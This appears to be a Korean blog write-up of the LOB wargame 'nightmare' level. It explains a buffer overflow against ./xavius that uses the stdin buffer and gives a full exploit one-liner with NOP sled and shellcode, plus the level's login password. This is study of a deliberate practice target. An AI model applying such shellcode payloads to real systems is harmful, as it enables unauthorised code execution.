cgy12306
[LOB] nightmare 본문
ID : nightmare
PW : beg for me
buffer의 48번째 byte가 \xbf와 \x08이어서는 안된다. 그리고 memcpy는 같으면 0을 반환하고, 다르면 0이 아닌 다른 값을 반환하게 되는데 memcpy의 반환값이 0이어야 while문을 돌지 않는다. 혹은 ret_addr의 첫번째 byte가 \xc9과 그 다음 주소의 첫번째 바이트가 \xc3이 아니면 된다.
fgets의 함수의 인자는
char * fgets(char * str, int num, FILE * stream);
로 된다.
fget으로 받은 값을 stdin에 저장에 저장한다.
또, 소스코드를 보면 0x40대역은 초기화 하지 않는다.
stdin의 주소를 확인해보자.
stdin + 4와 +8의 주소 안에는 입력이 끝난 시점의 메모리 주소이고 +12지점에는 입력이 시작된 시점의 메모리 주소이다.
(stdin은 bss영역을 사용한다고 한다)
A를 48개 넣고 core를 덤프 떠서 0x40015000의 지점을 보자.
페이로드를 생각해보면 A 44개 + stdin안 nop 주소 + nop + 쉘코드가 될 것이다. 그리고 FTZ에서 봤듯이 fgets는 ()로 묶어주고 ; cat으로 명령어를 입력할 수 있게 해줘야 한다.
(python -c 'print "A"*44+"\x30\x50\x01\x40"+"\x90"*100+"\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'; cat) | ./xavius
'Wargame > LOB' 카테고리의 다른 글
[LOB] death_knight (0) | 2019.09.30 |
---|---|
[LOB] xavius (0) | 2019.09.30 |
[LOB] succubus (0) | 2019.09.30 |
[LOB] zombie_assassin (0) | 2019.09.30 |
[LOB] assassin (0) | 2019.09.30 |
Comments